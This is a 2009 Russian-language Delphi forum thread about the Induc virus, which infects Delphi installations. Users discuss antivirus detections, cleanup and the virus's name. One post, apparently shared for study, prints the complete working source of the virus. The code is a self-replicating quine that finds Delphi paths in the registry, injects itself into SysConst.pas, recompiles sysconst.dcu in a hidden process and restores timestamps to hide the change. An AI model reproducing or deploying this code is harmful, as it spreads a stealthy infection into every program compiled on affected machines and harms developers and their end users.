Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Текущий архив: 2009.10.25;
Скачать: CL | DM;

Вниз

Осторожно! Новый вирус, специфичный для Delphi   Найти похожие ветки 

 
GrayFace ©   (2009-08-26 10:12) [80]

xayam ©   (13.08.09 0:24) [37]
допустим конкретика есть, но нет так нет. Меня просто, как и автора статьи удивляет сочетание бесплатность программы/закрытый протокол, все эти противоотладочные действия и т.д. Неужели нас только двое?

По-моему, закономерно. Главное - конкурентов не будет (в отличие от аськи). Ну и мне кажется, что защита от вирусов тоже повышается.

Ega23 ©   (13.08.09 0:31) [41]
Ну вот например. Я разработал 3Д-движок (а-ля Контра). На базе данного движка я сделал игу и выложил её в сеть. Народ на неё подсел (да и движок оказался хорошим).

А че за игра?


 
istok20 ©   (2009-08-26 11:16) [81]


> Это другое, видать последователи появились у вируса. Тот
> в ESET был WIN32/Induc.A


Да, выдавало как Induc.A, после замены sysconst по инструкции стало ругаться на delf.oqx на все скомпиленные exe.

Меня интересует как это лечить, чтоб работать в делфи дальше.


 
istok20 ©   (2009-08-26 16:02) [82]

каспер на эти exe не ругается, но 15 из 41 антивирусов с virustotal.com - ругаются, часть из них пишут Heuristic.LooksLike.Win32.Banload.I  Trojan/Downloader.Banload.aedv   Trojan-Downloader/W32.Banload.370176.H

но когда читаю про эти трояны - не нахожу у себя их модулей..
может такое быть что после "лечения" от Induc.A случилось так что exe из delphi стали похои на данного трояна... или всё же у меня наверняка что-то есть злое???


 
istok20 ©   (2009-08-26 16:32) [83]

решил проблему тем, что стянул Lib с другого компа, пока никто не ругается


 
TIF ©   (2009-08-26 17:25) [84]

> или всё же у меня наверняка что-то есть злое???

Можно отправить на исследование в ЛК. IMHO, скорее всего ничего не найдут :) Так и ответят


 
TIF ©   (2009-08-27 15:49) [85]

Нет, я конечно Лабораторию Касперского люблю и уважаю, но на это без боли смотреть не могу:
Как видно, вирус внедряет своей код в файл с расширением dcu — "in dcu". Переставив пару букв местами мы и получаем название, которое нас вполне устроило — Induc.
http://www.securelist.com/ru/weblog/39134/Istoriya_Indyuka

Логика %-))) Боже мой...


 
RWolf ©   (2009-08-27 17:13) [86]

ну так вирусов миллион, всем имена придумывать — фантазии не напасешься.


 
Inovet ©   (2009-08-27 17:56) [87]

> [85] TIF ©   (27.08.09 15:49)
> dcu — "in dcu". Переставив пару букв местами мы и получаем
> название, которое нас вполне устроило — Induc.
>
> Логика %-))) Боже мой...

На так, наведённый типа.


 
Leonid Troyanovsky ©   (2009-08-27 19:50) [88]

Правильное его имя - интроспективный вирус, IMHO.

Подобной задачкой (правда, без самого паровоза) грузили студентов
не одного поколения. Я первый раз узнал формулировку из хорошей книги
Чарльз Уэзерелл "Этюды для программистов", ЕМНИП.

http://groups.google.com/group/fido7.ru.delphi/browse_thread/thread/727ccc94c2b781d8/9429cab1321636b

Часто обсуждалась в ru.algorithm для разнообразнейших языков,
был и сайт, посвященный оной задаче.

Почему повезло именно дельфи - хз, видимо, для обучения
была широко распространена. А в окружаюшую среду попал, когда,
видимо, начались более серьезные поделки. Вряд ли инфицированный
продукт был средством разработки, скорее игрушка, или тулза, способная
заинтересовать дельферов даже в  виде экзешника, не думаю, что
много дельферов обменивались system.dcu.

Смотрю сейчас на оный код и меня терзают смутные сомнения, что
это не дельфер писал, ну, или, не привыкший к дельфи, или часто
скакавший между языками. А уж ошибка в экранировании $
просто смешная, чего ж даже без отладки писалось.
Хотя, возможно, что был найден подходящий по размеру пример
и к нему на коленке вставили зубы.

Пойду еще поразмышляю.

--
Regards, LVT.


 
Leonid Troyanovsky ©   (2009-08-27 20:01) [89]

Приведу, что ли код, чтоб кому интересно, смотрел здесь.

uses windows;

var sc:array[1..24] of string=("uses windows; var sc:array[1..24] of string=(",
"function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]",
"=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;",
"h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begi n",
"h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle",
"(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile",
"(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while",
"not eof(f1) do begin readln(f1,s); writeln(f2,s);  if pos($implementation$,s)<>0",
"then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2",
",$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,",
"x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$",
")); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.",
"wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0,",
"f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),",
"pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3,",
"0,0);  if  h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=",
"CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,",
"@t1,@t2,@t3); CloseHandle(h); end; procedure st; var  k:HKEY;c:array [1..255] of",
"char;  i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(",
"HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then",
"begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=",
"1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+",
"$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;",
"begin st; end.");

function x(s:string):string;
var
 i:integer;
begin
 for i:=1 to length(s) do
   if s[i]=#36 then s[i]:=#39;
 result:=s;
end;

procedure re(s,d,e:string);
var
 f1,f2:textfile;
 h:cardinal;
 f:STARTUPINFO;
 p:PROCESS_INFORMATION;
 b:boolean;
 t1,t2,t3:FILETIME;
begin
 h:=CreateFile(pchar(d+"bak"),0,0,0,3,0,0);
 if h<>DWORD(-1) then
 begin
   CloseHandle(h);
   exit;
 end;
 {"I-}assignfile(f1,s);
 reset(f1);
 if ioresult<>0 then
   exit;
 assignfile(f2,d+"pas");
 rewrite(f2);
 if ioresult<>0 then
 begin
   closefile(f1);
   exit;
 end;

 while not eof(f1) do
 begin
   readln(f1,s);
   writeln(f2,s);
   if pos("implementation",s)<>0 then
     break;
 end;

 for h:= 1 to 1 do
   writeln(f2,sc[h]);
 for h:= 1 to 23 do
   writeln(f2,""""+sc[h],""",");
 writeln(f2,""""+sc[24]+""");");
 for h:= 2 to 24 do
   writeln(f2,x(sc[h]));
 closefile(f1);
 closefile(f2);
 {"I+}MoveFile(pchar(d+"dcu"),pchar(d+"bak"));
 fillchar(f,sizeof(f),0);
 f.cb := sizeof(f);
 f.dwFlags := STARTF_USESHOWWINDOW;
 f.wShowWindow := SW_HIDE;
 b := CreateProcess(nil,pchar(e+"""+d+"pas""),0,0,false,0,0,0,f,p);
 if b then
   WaitForSingleObject(p.hProcess,INFINITE);
 MoveFile(pchar(d+"bak"),pchar(d+"dcu"));
 DeleteFile(pchar(d+"pas"));
 h := CreateFile(pchar(d+"bak"),0,0,0,3,0,0);
 if h=DWORD(-1) then
   exit;
 GetFileTime(h,@t1,@t2,@t3);
 CloseHandle(h);
 h := CreateFile(pchar(d+"dcu"),256,0,0,3,0,0);
 if h=DWORD(-1) then
   exit;
 SetFileTime(h,@t1,@t2,@t3);
 CloseHandle(h);
end;

procedure st;
var  
 k:HKEY;
 c:array [1..255] of char;
 i:cardinal;
 r:string;
 v:char;
begin
 for v:="4" to "7" do
   if RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar("Software\Borland\Delphi\"+v+".0"),0,KEY_READ,k)=0 then
   begin
     i:=255;
     if RegQueryValueEx(k,"RootDir",nil,@i,@c,@i)=0 then
     begin
       r:="";
       i:=1;
       while c[i]<>#0 do
       begin
         r:=r+c[i];
         inc(i);
       end;
       re(r+"\source\rtl\sys\SysConst"+".pas",r+"\lib\sysconst.","""+r+"\bin\dcc32.exe" ");
     end;
   RegCloseKey(k);
 end;
end;

begin
 st;
end.


Форматировал не я, видимо, GunSmoker.


 
Leonid Troyanovsky ©   (2009-08-27 22:16) [90]


> Leonid Troyanovsky ©   (27.08.09 20:01) [89]

Блин, никто даже не отзовется. Чего, меня одного заботы одолели?
Вот оно - Прочее, давайте обсудим.
Дык, по всем, кто трудится в эхотаге уже каток проехал.

Ясное ж дело, что дельфи здесь по воле случая.
Напрягите мыслительную мышцу.

--
Regards, LVT.


 
Anatoly Podgoretsky ©   (2009-08-27 22:36) [91]

> Leonid Troyanovsky  (27.08.2009 22:16:30)  [90]

Нафиг ты голову ерундой забиваешь?


 
Leonid Troyanovsky ©   (2009-08-27 22:55) [92]


> Anatoly Podgoretsky ©   (27.08.09 22:36) [91]

> Нафиг ты голову ерундой забиваешь?

А то и верно.
Пойду-ка я, Анатолий, спать, бо тяжелый день завтра -
концемесячная тяпница.

--
Regards, LVT.



Страницы: 1 2 3 вся ветка

Текущий архив: 2009.10.25;
Скачать: CL | DM;

Наверх




Память: 0.62 MB
Время: 0.046 c
2-1251312234
sanx
2009-08-26 22:43
2009.10.25
TEdit, как отличить user ввод от присвоения Text нового значения?


15-1251351145
Медвежонок Пятачок
2009-08-27 09:32
2009.10.25
утка или так и есть? (мегафон + скайп)


3-1201334641
mega
2008-01-26 11:04
2009.10.25
DirectMysqlObjects (TMySQLClient, TMysqlResult) + Jpeg


15-1250852265
partizan
2009-08-21 14:57
2009.10.25
Прочитать документ word


15-1250858767
macrodens
2009-08-21 16:46
2009.10.25
Вопрос по RAID





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский